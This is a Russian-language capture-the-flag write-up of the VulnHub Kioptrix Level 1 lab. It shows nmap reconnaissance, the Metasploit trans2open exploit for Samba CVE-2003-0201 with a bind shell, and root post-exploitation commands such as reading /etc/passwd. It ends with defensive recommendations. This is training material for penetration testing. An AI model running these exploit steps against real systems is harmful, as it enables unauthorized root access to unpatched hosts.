pentest-writeups

Разбор Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Разбор тестирования на проникновение

Автор: Amirbek Raxmatullayev (@americo_444)
Дата: 2026-06-17
Платформа: VulnHub
Сложность: Начальный уровень
Цель: Получить root-доступ

1. Настройка окружения

Примечание: VirtualBox оказался несовместим с ядром 7.0.0-22-generic из-за конфликта пространств имён DKMS и KVM. Переключился на QEMU/KVM и загрузил VMDK напрямую, без конвертации.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Разведка

2.1 Обнаружение хостов

nmap -sn 192.168.56.0/24

Результат: Цель обнаружена: 192.168.56.101

2.2 Полное сканирование портов и сервисов

nmap -sV -sC -p- 192.168.56.101

Открытые порты:

2.3 Определение версии SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Результат: Samba 2.2.1a — подтверждена критически уязвимая версия.

3. Анализ уязвимости

CVE-2003-0201 — Переполнение буфера в Samba trans2open

Описание:
Версии Samba 2.2.x содержат уязвимость переполнения буфера на основе стека в функции trans2open. Это позволяет неаутентифицированному удалённому атакующему выполнить произвольный код с правами root.

Затронутые версии: Samba 2.0.x — 2.2.8
Оценка CVSS: 10.0 (критическая)
Модуль эксплойта: exploit/linux/samba/trans2open

4. Эксплуатация

4.1 Настройка Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Почему bind_tcp, а не reverse_tcp?
Полезная нагрузка reverse_tcp не сработала, так как виртуальная машина Kioptrix не могла подключиться обратно к атакующему через конфигурацию NAT/bridge. С bind_tcp атакующий сам подключается к цели — исходящее соединение от жертвы не требуется.

4.2 Результат эксплуатации

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Оболочка получена! ✅

5. Постэксплуатация

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

Информация о системе:

• ОС: Red Hat Linux, ядро 2.4.7 (собрано в 2001 году)
• Обнаруженные локальные пользователи: root, john, harold

6. Цепочка атаки

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Основные выводы

Что я узнал:

• Настройка лабораторного окружения с QEMU/KVM, когда VirtualBox не работает
• Определение сервисов (fingerprinting) с помощью nmap -sV -sC
• Перечисление SMB с помощью вспомогательных модулей Metasploit
• Понимание механики переполнения буфера на основе стека — CVE-2003-0201
• Разница между полезными нагрузками bind_tcp и reverse_tcp и когда применять каждую из них

Рекомендации по защите (Blue Team):

1. Обновите Samba до версии 3.x или новее
2. Ограничьте порты 139/445 с помощью межсетевого экрана — разрешайте доступ только доверенным внутренним хостам
3. Установите все доступные исправления ОС и сервисов
4. Внедрите сегментацию сети — SMB никогда не должен быть доступен извне
5. Разверните правила IDS/IPS для обнаружения попыток переполнения буфера в SMB

8. Используемые инструменты

9. Ссылки

• CVE-2003-0201 — NVD
• Rapid7 — trans2open Module
• VulnHub — Kioptrix Level 1

Автор: Amirbek Raxmatullayev | BEK Coders Security Research | 2026